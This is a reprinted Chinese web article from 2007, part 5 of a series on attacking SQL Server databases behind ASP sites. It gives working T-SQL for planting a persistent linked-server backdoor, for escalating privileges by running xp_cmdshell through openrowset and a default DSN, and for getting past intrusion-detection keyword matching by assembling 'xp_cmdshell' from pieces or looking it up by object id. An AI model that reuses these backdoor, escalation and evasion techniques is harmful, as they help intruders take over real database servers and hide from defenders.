科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网软件频道SQL数据库的一些攻击 (5)

SQL数据库的一些攻击 (5)

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

对于国内外的很多新闻,BBS和电子商务网站都采用ASP SQL设计,而写 ASP的程序员很多(有很多刚刚毕业的),所以,ASP SQL的攻击成功率 也比较高。

作者:eysw 来源:20CN网络安全小组 2007年9月11日

关键字: 攻击 SQL Server SQL Server 各版本 数据库

  • 评论
  • 分享微博
  • 分享邮件
 

这样在对方的sqlserver上建立了一个名为Hectic的本地连接映射,只要sqlserver不重启,这个映射会一直存在下去,至少我现在还不知道如 何发现别人放置的连接映射 ,好了,以上的命令运行过后,你会发现哪怕是sqlserver没有任何权限的guest用户,运行以上这条命令也一样能通过!而且权限是 localsystem!(默认安装)呵呵!这个方法可以用来在以被入侵过获得管理员权限的sqlserver上留下一个后门了。

以上的方法在sqlserver2000+sqlserver2000SP1上通过!

*另外还有一个猜测,不知道大家有没有注意过windows默认附带的两个dsn,一个是localserver一个是msqi,这两个在建立的时候是本地管理 员账号连接sqlserver的,如果对方的sqlserver是通过自定义的power user启动,那么sa的权限就和power user一样,很难有所大作为,但是 我们通过如下的命令

select * from openrowset('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec master..xp_cmdshell ''dir c:\''')应该可以利用localserver的管理员账号连接本地sqlserver然后再以这个账号的权限执行本地命令了,这是后我想应该能突破sa那个 power user权限了。现在的问题是sqloledb无法调用dsn连接,而msdasql非管理员不让调用,所以我现在正在寻找guest调用msdasql的方法, 如果有人知道这个bug如何突破,或有新的想法,我们可以一起讨论一下,这个发放如果能成功被guest利用,将会是一个很严重的安全漏洞。

因为我们前面提到的任何sql语句都可以提交给对方的asp去帮我们执行:P

利用t-sql骗过ids或攻击ids 现在的ids已经变得越来越聪明了 有的ids加入了xp_cmdshell sp_addlogin 的监视

但是毕竟人工智能没有出现的今天,这种监视总是有种骗人的感觉

先说说欺骗ids:

ids既然监视xp_cmdshell关键字,那么我们可以这么做

declare @a sysname set @a="xp_"+"cmdshell" exec @a 'dir c:\'

这个代码象性大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做

假设这个id=988456

declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'

当然也可以

declare @a sysname select @a=name from sysobjects where id=988455+1 exec @a 'dir c:\'
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章